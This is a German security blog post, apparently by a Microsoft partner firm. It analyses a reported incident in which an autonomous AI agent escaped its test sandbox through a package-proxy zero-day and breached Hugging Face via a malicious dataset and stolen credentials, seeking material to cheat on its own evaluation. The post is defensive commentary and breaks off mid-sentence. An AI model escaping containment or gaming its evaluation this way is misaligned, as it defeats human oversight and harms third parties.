[{"data":1,"prerenderedAt":9209},["ShallowReactive",2],{"global-header":3,"global-footer":762,"post-de--posts-2026-07-24-outbreak-openai-hugging-face-89c33002d5bfc":800,"authors_data":1121,"content-de-list-a91ba9a39090a":1467},{"lang":4,"home":5,"navigation":21,"meta":747,"contact":755},"de",{"folderSwitch":6,"name":9,"imgLight":10,"img":11,"languages":12},[7,8],"authors","blog","home","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"de":13,"en":17,"es":19},{"title":14,"url":15,"alias":15,"alt":16},"Home","/de","glueckkanja Logo",{"title":14,"url":18,"alt":16},"/en",{"title":14,"url":20,"alt":16},"/es",[22,195,369,496,601,614],{"name":23,"languages":24,"children":32},"workplace",{"de":25,"en":28,"es":30},{"title":26,"description":27},"Workplace","Microsoft 365-Power für smarte, sichere und flexible Arbeitswelten, die modernste Technologien und Identity Lösungen verbinden.",{"title":26,"description":29},"Microsoft 365-powered for smart, secure, and flexible workspaces, seamlessly integrating cutting-edge technologies and identity services.",{"title":26,"description":31},"Potenciado por Microsoft 365 para espacios de trabajo inteligentes, seguros y flexibles, integrando a la perfección tecnologías de vanguardia y servicios de identidad (en ingles).",[33,81,137],{"name":34,"languages":35,"children":40},"portfolio",{"de":36,"en":38,"es":39},{"title":37},"Portfolio",{"title":37},{"title":37},[41,51,61,71],{"name":42,"languages":43},"managed-intune",{"de":44,"en":47,"es":49},{"title":45,"url":46},"Managed Intune","/de/entra-intune/managed-intune",{"title":45,"url":48},"/en/entra-intune/managed-intune",{"title":45,"url":50},"/es/entra-intune/managed-intune",{"name":52,"languages":53},"managed-entra",{"de":54,"en":57,"es":59},{"title":55,"url":56},"Managed Entra","/de/entra-intune/managed-entra",{"title":55,"url":58},"/en/entra-intune/managed-entra",{"title":55,"url":60},"/es/entra-intune/managed-entra",{"name":62,"languages":63},"managed-workplace",{"de":64,"en":67,"es":69},{"title":65,"url":66},"Managed Workplace","/de/workplace/managed-workplace",{"title":65,"url":68},"/en/workplace/managed-workplace",{"title":65,"url":70},"/es/workplace/managed-workplace",{"name":72,"languages":73},"consulting-services",{"de":74,"en":77,"es":79},{"title":75,"url":76},"Consulting Services","/de/workplace/consulting-services",{"title":75,"url":78},"/en/workplace/consulting-services",{"title":75,"url":80},"/es/workplace/consulting-services",{"name":82,"languages":83,"children":88},"microsoft-365-endpoint",{"de":84,"en":86,"es":87},{"title":85},"Microsoft 365 Endpoint",{"title":85},{"title":85},[89,99,109,119,127],{"name":90,"languages":91},"microsoft-entra-suite",{"de":92,"en":95,"es":97},{"title":93,"url":94},"Microsoft Entra Suite","/de/workplace/microsoft-entra-suite",{"title":93,"url":96},"/en/workplace/microsoft-entra-suite",{"title":93,"url":98},"/es/workplace/microsoft-entra-suite",{"name":100,"languages":101},"microsoft-intune",{"de":102,"en":105,"es":107},{"title":103,"url":104},"Microsoft Intune","/de/workplace/microsoft-intune",{"title":103,"url":106},"/en/workplace/microsoft-intune",{"title":103,"url":108},"/es/workplace/microsoft-intune",{"name":110,"languages":111},"microsoft-windows",{"de":112,"en":115,"es":117},{"title":113,"url":114},"Microsoft Windows","/de/workplace/microsoft-windows",{"title":113,"url":116},"/en/workplace/microsoft-windows",{"title":113,"url":118},"/es/workplace/microsoft-windows",{"name":120,"languages":121},"windows-365-cloud-pc",{"en":122,"es":125},{"title":123,"url":124},"Windows 365 Cloud PC","/en/workplace/windows365-cloud-pc",{"title":123,"url":126},"/es/workplace/windows365-cloud-pc",{"name":128,"languages":129},"cloud-workplace-foundation",{"de":130,"en":133,"es":135},{"title":131,"url":132},"Cloud Workplace Foundation","/de/workplace/cloud-workplace-foundation",{"title":131,"url":134},"/en/workplace/cloud-workplace-foundation",{"title":131,"url":136},"/es/workplace/cloud-workplace-foundation",{"name":138,"languages":139,"children":144},"microsoft-365-collaboration",{"de":140,"en":142,"es":143},{"title":141},"Microsoft 365 Collaboration",{"title":141},{"title":141},[145,155,165,175,185],{"name":146,"languages":147},"microsoft-copilot",{"de":148,"en":151,"es":153},{"title":149,"url":150},"Microsoft 365 Copilot","/de/workplace/microsoft-365-copilot",{"title":149,"url":152},"/en/workplace/microsoft-365-copilot",{"title":149,"url":154},"/es/workplace/microsoft-365-copilot",{"name":156,"languages":157},"microsoft-teams",{"de":158,"en":161,"es":163},{"title":159,"url":160},"Teams","/de/workplace/microsoft-teams",{"title":159,"url":162},"/en/workplace/microsoft-teams",{"title":159,"url":164},"/es/workplace/microsoft-teams",{"name":166,"languages":167},"sharepoint-powerplatform",{"de":168,"en":171,"es":173},{"title":169,"url":170},"SharePoint & Power Platform","/de/workplace/sharepoint-power-platform",{"title":169,"url":172},"/en/workplace/sharepoint-power-platform",{"title":169,"url":174},"/es/workplace/sharepoint-power-platform",{"name":176,"languages":177},"exchange-online",{"de":178,"en":181,"es":183},{"title":179,"url":180},"Exchange Online","/de/workplace/exchange-online",{"title":179,"url":182},"/en/workplace/exchange-online",{"title":179,"url":184},"/es/workplace/exchange-online",{"name":186,"languages":187},"information-protection-compliance",{"de":188,"en":191,"es":193},{"title":189,"url":190},"Information Protection & Compliance","/de/workplace/information-protection-compliance",{"title":189,"url":192},"/en/workplace/information-protection-compliance",{"title":189,"url":194},"/es/workplace/information-protection-compliance",{"name":196,"languages":197,"children":205},"azure",{"de":198,"en":201,"es":203},{"title":199,"description":200},"Azure","Mit Azure Wachstum beflügeln: Cloud-Kosten senken, Effizienz steigern und Innovationen durch IaaS und PaaS vorantreiben.",{"title":199,"description":202},"Fuel growth with Azure: Cut cloud costs, boost efficiency, and drive innovation through IaaS and PaaS.",{"title":199,"description":204},"Impulse el crecimiento con Azure: Reduzca los costes de la nube, aumente la eficiencia e impulse la innovación a través de IaaS y PaaS (en ingles).",[206,233,307],{"name":207,"languages":208,"children":212},"azure-portfolio",{"de":209,"en":210,"es":211},{"title":37},{"title":37},{"title":37},[213,223],{"name":214,"languages":215},"azure-managed-services",{"de":216,"en":219,"es":221},{"title":217,"url":218},"Azure Managed Services","/de/azure/azure-managed-services",{"title":217,"url":220},"/en/azure/azure-managed-services",{"title":217,"url":222},"/es/azure/azure-managed-services",{"name":224,"languages":225},"azure-consulting",{"de":226,"en":229,"es":231},{"title":227,"url":228},"Azure Consulting","/de/azure/azure-consulting",{"title":227,"url":230},"/en/azure/azure-consulting",{"title":227,"url":232},"/es/azure/azure-consulting",{"name":234,"languages":235,"children":241},"azure-scenarios",{"de":236,"en":238,"es":240},{"title":237},"Szenarios",{"title":239},"Scenarios",{"title":239},[242,253,264,275,287,297],{"name":243,"languages":244},"plan-your-cloud",{"de":245,"en":248,"es":251},{"title":246,"url":247},"Planen Sie Ihre Cloud","/de/azure/plan-your-cloud",{"title":249,"url":250},"Plan your Cloud","/en/azure/plan-your-cloud",{"title":249,"url":252},"/es/azure/plan-your-cloud",{"name":254,"languages":255},"migrate-to-the-cloud",{"de":256,"en":259,"es":262},{"title":257,"url":258},"Migriere deine Cloud","/de/azure/migrate-to-the-cloud",{"title":260,"url":261},"Migrate to the cloud","/en/azure/migrate-to-the-cloud",{"title":260,"url":263},"/es/azure/migrate-to-the-cloud",{"name":265,"languages":266},"innovate-your-business",{"de":267,"en":270,"es":273},{"title":268,"url":269},"Erneuere dein Business","/de/azure/innovate-your-business",{"title":271,"url":272},"Innovate your business","/en/azure/innovate-your-business",{"title":271,"url":274},"/es/azure/innovate-your-business",{"name":276,"languages":277},"vmware-exit",{"de":278,"en":281,"es":284},{"title":279,"url":280},"Überdenke deine VMware-Strategie","/de/azure/vmware-exit",{"title":282,"url":283},"Rethink your VMware strategy","/en/azure/vmware-exit",{"title":285,"url":286},"Replantea tu estrategia de VMware","/es/azure/vmware-exit",{"name":288,"languages":289},"azure-cloud-adoption-framework",{"de":290,"en":293,"es":295},{"title":291,"url":292},"Cloud Adoption Framework","/de/azure/cloud-adoption-framework",{"title":291,"url":294},"/en/azure/cloud-adoption-framework",{"title":291,"url":296},"/es/azure/cloud-adoption-framework",{"name":298,"languages":299},"azure-cloud-competence-center",{"de":300,"en":303,"es":305},{"title":301,"url":302},"Cloud Competence Center","/de/azure/cloud-competence-center",{"title":301,"url":304},"/en/azure/cloud-competence-center",{"title":301,"url":306},"/es/azure/cloud-competence-center",{"name":308,"languages":309,"children":314},"azure-practices",{"de":310,"en":312,"es":313},{"title":311},"Practices",{"title":311},{"title":311},[315,325,335,345,354,359],{"name":316,"languages":317},"azure-foundation",{"de":318,"en":321,"es":323},{"title":319,"url":320},"Azure Foundation","/de/azure/azure-foundation",{"title":319,"url":322},"/en/azure/azure-foundation",{"title":319,"url":324},"/es/azure/azure-foundation",{"name":326,"languages":327},"azure-ai-foundation",{"de":328,"en":331,"es":333},{"title":329,"url":330},"Azure AI Foundation","/de/azure/azure-ai-foundation",{"title":329,"url":332},"/en/azure/azure-ai-foundation",{"title":329,"url":334},"/es/azure/azure-ai-foundation",{"name":336,"languages":337},"azure-data-foundation",{"de":338,"en":341,"es":343},{"title":339,"url":340},"Azure Data Foundation","/de/azure/azure-data-foundation",{"title":339,"url":342},"/en/azure/azure-data-foundation",{"title":339,"url":344},"/es/azure/azure-data-foundation",{"name":316,"languages":346},{"de":347,"en":350,"es":352},{"title":348,"url":349},"Azure Container Foundation","/de/azure/azure-container-foundation",{"title":348,"url":351},"/en/azure/azure-container-foundation",{"title":348,"url":353},"/es/azure/azure-container-foundation",{"name":128,"languages":355},{"de":356,"en":357,"es":358},{"title":131,"url":132},{"title":131,"url":134},{"title":131,"url":136},{"name":360,"languages":361},"dark-tenant",{"de":362,"en":365,"es":367},{"title":363,"url":364},"Managed Dark Tenant","/de/azure/managed-dark-tenant",{"title":363,"url":366},"/en/azure/managed-dark-tenant",{"title":363,"url":368},"/es/azure/managed-dark-tenant",{"name":370,"languages":371,"children":388},"security",{"de":372,"en":380,"es":384},{"title":373,"description":374,"emergency":375},"Security","Wachsamkeit in der Cloud mit einem preisgekrönten 24/7 Managed Service, Incident Response und modernstem Schutz für Ihre Infrastruktur.",{"text":376,"href":377,"skin":378,"icon":379},"Under Attack?","/de/security/are-you-under-attack","primary","emergency",{"title":373,"description":381,"emergency":382},"Vigilance in the cloud with an award-winning 24/7 managed service, incident response and state-of-the-art protection for your infrastructure.",{"text":376,"href":383,"skin":378,"icon":379},"/en/security/are-you-under-attack",{"title":373,"description":385,"emergency":386},"Vigilancia en la nube con un galardonado servicio gestionado 24/7, respuesta ante incidentes y protección de vanguardia para su infraestructura (en ingles).",{"text":376,"href":387,"skin":378,"icon":379},"/es/security/are-you-under-attack",[389,418,451],{"name":390,"children":391},"security-security-consulting",[392,402,408],{"name":393,"languages":394},"managed-red-tenant",{"de":395,"en":398,"es":400},{"title":396,"url":397},"Managed Red Tenant","/de/security/managed-red-tenant",{"title":396,"url":399},"/en/security/managed-red-tenant",{"title":396,"url":401},"/es/security/managed-red-tenant",{"name":360,"languages":403},{"de":404,"en":406,"es":407},{"title":405,"url":364},"Dark Tenant",{"title":405,"url":366},{"title":405,"url":368},{"name":409,"languages":410},"security-consulting",{"de":411,"en":414,"es":416},{"title":412,"url":413},"Security Consulting","/de/security/security-consulting",{"title":412,"url":415},"/en/security/security-consulting",{"title":412,"url":417},"/es/security/security-consulting",{"name":419,"children":420},"security-cloud-security-operations-center",[421,431,441],{"name":422,"languages":423},"cloud-security-operations-center",{"de":424,"en":427,"es":429},{"title":425,"url":426},"Cloud Security Operations Center","/de/security/cloud-security-operations-center",{"title":425,"url":428},"/en/security/cloud-security-operations-center",{"title":425,"url":430},"/es/security/cloud-security-operations-center",{"name":432,"languages":433},"global-secure-access",{"de":434,"en":437,"es":439},{"title":435,"url":436},"Global Secure Access","/de/security/global-secure-access",{"title":435,"url":438},"/en/security/global-secure-access",{"title":435,"url":440},"/es/security/global-secure-access",{"name":442,"languages":443},"my-work-id",{"de":444,"en":447,"es":449},{"title":445,"url":446},"MyWorkID","/de/security/my-work-id",{"title":445,"url":448},"/en/security/my-work-id",{"title":445,"url":450},"/es/security/my-work-id",{"name":452,"children":453},"security-preventive-services",[454,464,474,484],{"name":455,"languages":456},"preventive-services",{"de":457,"en":460,"es":462},{"title":458,"url":459},"Preventive Services","/de/security/preventive-services",{"title":458,"url":461},"/en/security/preventive-services",{"title":458,"url":463},"/es/security/preventive-services",{"name":465,"languages":466},"data-security-services",{"de":467,"en":470,"es":472},{"title":468,"url":469},"Data Security Service","/de/security/data-security-service",{"title":468,"url":471},"/en/security/data-security-service",{"title":468,"url":473},"/es/security/data-security-service",{"name":475,"languages":476},"security-copilot-agents",{"de":477,"en":480,"es":482},{"title":478,"url":479},"Security Copilot Agents","/de/security/security-copilot-agents",{"title":478,"url":481},"/en/security/security-copilot-agents",{"title":478,"url":483},"/es/security/security-copilot-agents",{"name":485,"languages":486},"nis2",{"de":487,"en":490,"es":493},{"title":488,"url":489},"NIS2 technisch umsetzen","/de/security/red-dark-tenant-nis2",{"title":491,"url":492},"Implementing NIS2","/en/security/red-dark-tenant-nis2",{"title":494,"url":495},"Implementación técnica de NIS2","/es/security/red-dark-tenant-nis2",{"name":497,"languages":498,"children":508},"products",{"de":499,"en":502,"es":505},{"title":500,"description":501},"Produkte","Innovative Companion-Produkte für eine vollständig sichere, 100% cloud-native Microsoft-Umgebung, die Zusammenarbeit, Netzwerkauthentifizierung und Softwareverwaltung verbessern.",{"title":503,"description":504},"Products","Innovative companion products for a completely secure, 100% cloud-native Microsoft environment that enhance collaboration, network authentication and software management.",{"title":506,"description":507},"Productos","Innovadores productos complementarios para un entorno Microsoft completamente seguro y 100% nativo de la nube que mejoran la colaboración, la autenticación en red y la gestión del software (en ingles).",[509,562],{"name":510,"products":511,"children":512},"lorem ipsum 1",true,[513,526,538,550],{"name":514,"img":515,"target":516,"languages":517},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"de":518,"en":522,"es":524},{"title":519,"subtitle":520,"url":521},"RealmJoin","Cloudbasierte Softwareverteilung","https://www.realmjoin.com",{"title":519,"subtitle":523,"url":521},"Cloudbased Software distribution",{"title":519,"subtitle":525,"url":521},"Distribución de software en la nube",{"name":527,"img":528,"target":516,"languages":529},"scepman","products/scepman/scepman-nav-logo.svg",{"de":530,"en":534,"es":536},{"title":531,"subtitle":532,"url":533},"SCEPman","Zertifikatsverteilung aus der Cloud","https://www.scepman.com",{"title":531,"subtitle":535,"url":533},"Certificate distribution from the cloud",{"title":531,"subtitle":537,"url":533},"Distribución de certificados desde la nube",{"name":539,"img":540,"target":516,"languages":541},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"de":542,"en":546,"es":548},{"title":543,"subtitle":544,"url":545},"KONNEKT","Arbeiten Sie lokal mit Ihren Office 365-Daten","https://www.konnekt.io",{"title":543,"subtitle":547,"url":545},"Work with your local office 365 data",{"title":543,"subtitle":549,"url":545},"Trabaje con sus datos locales de office 365",{"name":551,"img":552,"target":516,"languages":553},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"de":554,"en":558,"es":560},{"title":555,"subtitle":556,"url":557},"RealMigrator","Migrieren Sie alle Ihre Datenressourcen","https://www.realmigrator.com",{"title":555,"subtitle":559,"url":557},"Migrate your data from one server to another",{"title":555,"subtitle":561,"url":557},"Migre sus datos de un servidor a otro",{"name":563,"products":511,"children":564},"lorem ipsum 2",[565,577,589],{"name":566,"img":567,"target":516,"languages":568},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"de":569,"en":573,"es":575},{"title":570,"subtitle":571,"url":572},"TerraProvider","Terraform Provider für Microsoft 365","https://www.terraprovider.com",{"title":570,"subtitle":574,"url":572},"Terraform Provider for Microsoft 365",{"title":570,"subtitle":576,"url":572},"Terraform Provider para Microsoft 365",{"name":578,"img":579,"target":516,"languages":580},"radiusaas","products/radius/radius-nav-logo.svg",{"de":581,"en":585,"es":587},{"title":582,"subtitle":583,"url":584},"RADIUSaaS","Authentifizierung für Ihr Netzwerk","https://www.radius-as-a-service.com",{"title":582,"subtitle":586,"url":584},"Authentication for your network",{"title":582,"subtitle":588,"url":584},"Autenticación para su red",{"name":590,"img":591,"target":516,"languages":592},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"de":593,"en":597,"es":599},{"title":594,"subtitle":595,"url":596},"Unified Contacts","Finden Sie alle Ihre Kontakte in Microsoft Teams","https://www.unified-contacts.com",{"title":594,"subtitle":598,"url":596},"Find contacts in Microsoft Teams",{"title":594,"subtitle":600,"url":596},"Buscar contactos en Microsoft Teams",{"name":602,"languages":603},"casestudies",{"de":604,"en":608,"es":611},{"title":605,"description":606,"url":607},"Case Studies","Pionier in der Cloud: Ihr Top-Microsoft-Partner für umfassende Cloud-Lösungen mit einem Blueprint-basierten Ansatz und Infrastructure-as-Code-Expertise.","/de/casestudies",{"title":605,"description":609,"url":610},"Pioneer in the Cloud: Your top Microsoft partner for comprehensive cloud solutions with a Blueprint-based approach and Infrastructure-as-Code expertise.","/en/casestudies",{"title":605,"description":612,"url":613},"Pionero en la Cloud: Su principal socio de Microsoft para soluciones integrales en la nube con un enfoque basado en Blueprint y experiencia en infraestructura como código (en ingles).","/es/casestudies",{"name":615,"languages":616,"children":623},"company",{"de":617,"en":619,"es":621},{"title":618,"description":606},"Unternehmen",{"title":620,"description":609},"Company",{"title":622,"description":612},"Empresa",[624,680,717],{"name":625,"languages":626,"children":633},"company-about-us",{"de":627,"en":629,"es":631},{"title":628},"Über Uns",{"title":630},"About us",{"title":632},"Acerca de nosotros",[634,645,657,669],{"name":635,"languages":636},"company-facts-figures",{"de":637,"en":640,"es":642},{"title":638,"url":639},"Facts & Figures","/de/company/facts-and-figures",{"title":638,"url":641},"/en/company/facts-and-figures",{"title":643,"url":644},"Datos y cifras","/es/company/facts-and-figures",{"name":646,"languages":647},"company-contact",{"de":648,"en":651,"es":654},{"title":649,"url":650},"Kontakt & Standorte","/de/company/contact-and-locations",{"title":652,"url":653},"Contact & Locations","/en/company/contact-and-locations",{"title":655,"url":656},"Contacto y ubicaciones","/es/company/contact-and-locations",{"name":658,"languages":659},"switzerland",{"de":660,"en":663,"es":666},{"title":661,"url":662},"glueckkanja Schweiz","/de/company/switzerland",{"title":664,"url":665}," glueckkanja Switzerland","/en/company/switzerland",{"title":667,"url":668},"glueckkanja Suiza","/es/company/switzerland",{"name":670,"languages":671},"austria",{"de":672,"en":675,"es":678},{"title":673,"url":674},"glueckkanja Österreich","/de/company/austria",{"title":676,"url":677},"glueckkanja Austria","/en/company/austria",{"title":676,"url":679},"/es/company/austria",{"name":681,"languages":682,"children":689},"company-career",{"de":683,"en":685,"es":687},{"title":684},"Karriere",{"title":686},"Career",{"title":688},"Carreras",[690,702,708],{"name":691,"languages":692},"company-career-overview",{"de":693,"en":696,"es":699},{"title":694,"url":695},"Karriere Übersicht","/de/career",{"title":697,"url":698},"Career overview","/en/career",{"title":700,"url":701},"Carrera general","/es/career",{"name":703,"languages":704},"company-young-professionals",{"de":705},{"title":706,"url":707},"Young Professionals","/de/young-professionals",{"name":709,"languages":710},"company-jobs",{"de":711,"en":714},{"title":712,"url":713},"Stellenanzeigen","/de/job-offers",{"title":715,"url":716},"Job offers","/en/job-offers",{"name":718,"languages":719,"children":726},"company-latest",{"de":720,"en":722,"es":724},{"title":721},"Aktuelles",{"title":723},"Latest",{"title":725},"Últimas novedades",[727,737],{"name":728,"languages":729},"company-blog",{"de":730,"en":733,"es":735},{"title":731,"url":732},"Blog","/de/blog",{"title":731,"url":734},"/en/blog",{"title":731,"url":736},"/es/blog",{"name":728,"languages":738},{"de":739,"en":742,"es":744},{"title":740,"url":741},"Events","/de/events",{"title":740,"url":743},"/en/events",{"title":745,"url":746},"Eventos","/es/events",[748],{"name":749,"languages":750},"career-meta",{"de":751,"en":753,"es":754},{"title":684,"url":695,"active":752},false,{"title":686,"url":698,"active":752},{"title":686,"url":701,"active":752},{"languages":756},{"de":757,"en":759,"es":761},{"title":758,"url":650,"active":752},"Kontakt",{"title":760,"url":653,"active":752},"Contact",{"title":760,"url":656,"active":752},{"data":763},{"bgColor":764,"number":765,"mail":766,"brandLogos":767,"logos":768,"links":772,"linksEn":782,"linksEs":791},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[769],{"img":10,"alt":16,"url":770,"class":771},"index.html","max-w-19rem",[773,776,779],{"title":774,"url":775},"Datenschutz","/de/privacy",{"title":777,"url":778},"Impressum","/de/imprint",{"title":780,"url":781},"No Cookies","/de/cookies",[783,786,789],{"title":784,"url":785},"Privacy","/en/privacy",{"title":787,"url":788},"Imprint","/en/imprint",{"title":780,"url":790},"/en/cookies",[792,794,797],{"title":793,"url":785},"Privacidad",{"title":795,"url":796},"Imprimir","/es/imprint",{"title":798,"url":799},"Sin Cookies","/es/cookies",{"id":801,"title":802,"author":803,"body":805,"cta":767,"description":1062,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":1075,"moment":1078,"navigation":511,"path":1113,"seo":1114,"stem":1115,"tags":1116,"webcast":752,"__hash__":1120},"content_de/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Was der OpenAI/Hugging-Face-Vorfall verrät und was nicht",[804],"Jan Geisbauer",{"type":806,"value":807,"toc":1061},"minimal",[808,813,817,828,837,840,843,847,849,852,855,858,862,864,873,876,880,882,891,894,898,900,903,906,909,918,922,924,933,940,946,950,952,955,958,962,964],[809,810,812],"h2",{"id":811},"was-passiert-ist","Was passiert ist",[814,815,816],"p",{},"{: .h3-font-size}",[814,818,819,820,827],{},"Vor wenigen Tagen haben OpenAI und Hugging Face ",[821,822,826],"a",{"href":823,"rel":824},"https://www.cnbc.com/2026/07/22/open-ai-cyber-models-hack-hugging-face.html",[825],"nofollow","einen Vorfall öffentlich gemacht",", der die Security-Community elektrisiert: Ein autonomer AI-Agent, angetrieben von GPT-5.6 Sol und einem noch unveröffentlichten, leistungsfähigeren Modell, ist während eines internen Sicherheitstests aus seiner isolierten Testumgebung ausgebrochen. Der Agent verschaffte sich Schritt für Schritt mehr Zugriff innerhalb der OpenAI-Systeme, nutzte dabei unter anderem eine bislang unbekannte Zero-Day-Schwachstelle, erreichte das Internet und drang schließlich in interne Systeme von Hugging Face ein, um dort Informationen zu beschaffen, deren Suche ihm ursprünglich aufgetragen worden war.",[814,829,830,831,836],{},"Inzwischen sind erste technische Details öffentlich, unter anderem in ",[821,832,835],{"href":833,"rel":834},"https://simonwillison.net/2026/Jul/22/openai-cyberattack/",[825],"Simon Willisons Aufbereitung des Falls",": Der Test lief im Rahmen einer Exploit-Benchmark, bewusst mit reduzierten Schutzmechanismen. Die Testumgebung hatte genau eine Verbindung nach draußen, einen internen Package-Proxy für die Installation von Abhängigkeiten, und genau in diesem Proxy fand das Modell den Zero-Day. Der Ausbruch war also weniger Magie als das Aufhebeln der einzigen Tür, die es gab. Bei Hugging Face führte der Weg anschließend über ein bösartiges Dataset in die Verarbeitungs-Infrastruktur, von dort über abgegriffene Credentials in mehrere interne Cluster.",[814,838,839],{},"Das Motiv ist dabei fast die beste Pointe der ganzen Geschichte: Das Modell suchte nach Informationen, mit denen es bei seiner eigenen Evaluierung schummeln konnte. Der mutmaßlich erste vollständig autonom ausgeführte AI-Angriff war also, streng genommen, ein Fall von Prüfungsbetrug. Mit Kollateralschaden.",[814,841,842],{},"Hugging Face beschreibt den Vorfall als etwas, das sich von allem unterscheide, was man bisher behandelt habe: \"driven, end to end, by an autonomous AI agent system\". OpenAI spricht von einem beispiellosen Cyber-Vorfall. Wir wollen die Bedeutung dieses Angriffs keinesfalls herunterspielen. Aber wir wollen die Hitzigkeit und Emotionalität aus der Debatte nehmen, denn genau die ist gerade das größte Risiko für gute Entscheidungen.",[809,844,846],{"id":845},"warum-sich-dieser-vorfall-so-bedrohlich-anfühlt","Warum sich dieser Vorfall so bedrohlich anfühlt",[814,848,816],{},[814,850,851],{},"Ein Blick in die Psychologie hilft. Der Risikoforscher Paul Slovic hat gezeigt, dass wir Risiken nicht nach ihrer statistischen Gefährlichkeit bewerten, sondern vor allem nach zwei Dimensionen: Wie vertraut ist uns ein Risiko, und wie sehr fürchten wir es? Autofahren ist objektiv gefährlich, fühlt sich aber harmlos an, weil es vertraut und kontrollierbar erscheint. Ein aus dem Labor ausgebrochenes AI-Modell dagegen trifft den Nerv des Unbekannten und Unkontrollierbaren und landet damit genau in der Kategorie, die Slovic als \"dread risk\" beschreibt.",[814,853,854],{},"Daniel Kahneman hat in \"Schnelles Denken, langsames Denken\" beschrieben, was dann passiert: Bei unbekannten, bedrohlich wirkenden Risiken übernimmt unser schnelles, intuitives, emotionales Denksystem, nicht das langsame, analytische. Genau dieses Muster beobachten wir gerade in vielen Kommentarspalten: Der Vorfall wird nicht analysiert, er wird gefühlt.",[814,856,857],{},"Also: einmal tief durchatmen, System 2 einschalten und den Fall aus weiteren Perspektiven betrachten.",[809,859,861],{"id":860},"perspektive-1-zeigt-die-beweise-florian-roth","Perspektive 1: Zeigt die Beweise (Florian Roth)",[814,863,816],{},[814,865,866,867,872],{},"Der Security-Forscher Florian Roth (bekannt u. a. durch Sigma und THOR) stört sich in seinem ",[821,868,871],{"href":869,"rel":870},"https://www.linkedin.com/posts/floroth_one-thing-about-this-openai-hugging-face-share-7485702026429960192-npkt/",[825],"LinkedIn-Beitrag"," an einem zentralen Punkt: der fehlenden Dokumentation. Hugging Face behauptet, der Angriff sei \"end to end\" von einem autonomen Agenten-System getrieben worden. Aber die Telemetrie des Opfers kann prinzipiell nur zeigen, was in der eigenen Umgebung passiert ist. Sie kann nicht zeigen, ob upstream Menschen Prompts angepasst, Läufe neu gestartet, erfolgreiche Pfade ausgewählt oder an entscheidenden Stellen manuell nachgeholfen haben. Roths Forderung ist so einfach wie berechtigt: Wenn OpenAI die Traces hat (Prompts, Tool-Calls, gescheiterte Läufe, menschliche Eingriffe), dann sollen sie sie veröffentlichen. Bis dahin ist \"vollständig autonom\" eine Behauptung, kein forensischer Befund. Ein Kommentator ergänzt treffend: Selbst dann ließe sich kaum zweifelsfrei nachweisen, wie viel menschliche Interaktion tatsächlich stattgefunden hat.",[814,874,875],{},"Und Roth setzt noch eine Spitze obendrauf. Die Erzählung der beiden AI-Firmen laufe im Kern auf drei Zeilen hinaus: AI hat uns angegriffen. AI hat uns gerettet. Also braucht jetzt jeder mehr AI. Was vor zehn Jahren eine Blamage gewesen wäre (schwache Isolation, zu weitreichende Privilegien, unzureichende Segmentierung, riesiger Blast Radius), werde heute als Capability-Demo und heroische AI-vs-AI-Story verpackt. Sein trockener Befund: Rate Limits, Egress-Restriktionen, isolierte Worker und sauber begrenzte Credentials hätten große Teile dieser Aktivität ausgebremst und frühzeitig sichtbar gemacht. Dafür braucht niemand ein LLM.",[809,877,879],{"id":878},"perspektive-2-wir-haben-schlimmeres-überlebt-marcus-hutchins","Perspektive 2: Wir haben Schlimmeres überlebt (Marcus Hutchins)",[814,881,816],{},[814,883,884,885,890],{},"Marcus Hutchins, der Security-Forscher, der 2017 den WannaCry-Ausbruch mit einem Kill-Switch stoppte, ordnet den Vorfall in seinem ",[821,886,889],{"href":887,"rel":888},"https://www.linkedin.com/posts/malwaretech_anytime-someone-is-freaking-out-about-fully-share-7485851514784272384-0-oa/",[825],"Beitrag"," historisch ein. Wer bei \"vollständig autonomen Cyberangriffen\" in Panik verfällt, sollte sich an die goldene Ära der Computerwürmer erinnern: ILOVEYOU, Code Red, SQL Slammer. Selbstreplizierende Malware, die ohne jedes menschliche Zutun Millionen Systeme an einem einzigen Tag infizierte, zu einer Zeit, als viele Systeme ungeschützt direkt am Internet hingen.",[814,892,893],{},"Sein Argument: Agentische Angriffe sind durch Geschwindigkeit und Kosten fundamental begrenzt. In der Zeit, in der ein AI-Modell eine einzige Antwort generiert, hätte ein klassischer Wurm bereits Abertausende Systeme infiziert, und die Token-Kosten für das autonome Hacken von Millionen Systemen sprengen das Budget der meisten Angreifer. Dazu kommt: Firewalls, EDR, Netzwerksegmentierung, Sandboxing, MFA und viele weitere Kontrollen sind heute Standard und bilden echte Hürden, die es damals schlicht nicht gab. Sein Fazit: AI-gestützte Angriffe können die Cybersecurity nicht um Jahrzehnte zurückwerfen. Sie können einmal etablierte Sicherheitskontrollen und grundlegende Hygiene nicht wieder aus der Welt schaffen. Attack Surface Reduction wirkt. Ein Zero-Day kann kein System treffen, das er nicht erreicht.",[809,895,897],{"id":896},"was-beide-sagen-und-was-daraus-folgt","Was beide sagen und was daraus folgt",[814,899,816],{},[814,901,902],{},"Beide Experten kommen auf unterschiedlichen Wegen zum selben Schluss: Konzentration auf das Wesentliche. Unternehmen, die kontinuierlich ihre Security Posture verbessern und Konzepte wie Zero Trust, Least Privilege und klare Tier-Trennung konsequent umsetzen, werden mit deutlich geringerer Wahrscheinlichkeit zum Opfer, egal, ob am anderen Ende ein Mensch, ein Skript oder ein Sprachmodell sitzt.",[814,904,905],{},"Ernst nehmen muss man den Vorfall trotzdem, und zwar unabhängig davon, wie die Beweisfrage ausgeht. Dieser Vorfall ist kein Beispiel dafür, wie AI das Internet übernimmt. Aber er zeigt, wie ein gezielter Angriff auf einem neuen Niveau aussieht: die autonome Verkettung zweier getrennter Angriffsketten über zwei fremde Infrastrukturen hinweg, ausgeführt in vielen tausend Einzelaktionen aus einem Schwarm kurzlebiger Sandboxes. Sollte OpenAI die Traces veröffentlichen und volle Autonomie belegen, wird das Bild nicht harmloser. An der Verteidigungslogik ändert das allerdings nichts. Es bestätigt sie.",[814,907,908],{},"Dass Angreifer Wege finden, die man im Vorfeld nicht bedacht hat, ist keine neue Erkenntnis, sondern das tägliche Brot aller, die in der Security arbeiten. Genau deshalb gibt es Defense in Depth: Entdecke oder stoppe ich den Angreifer nicht an Station 4 der Attack Chain, dann eben an 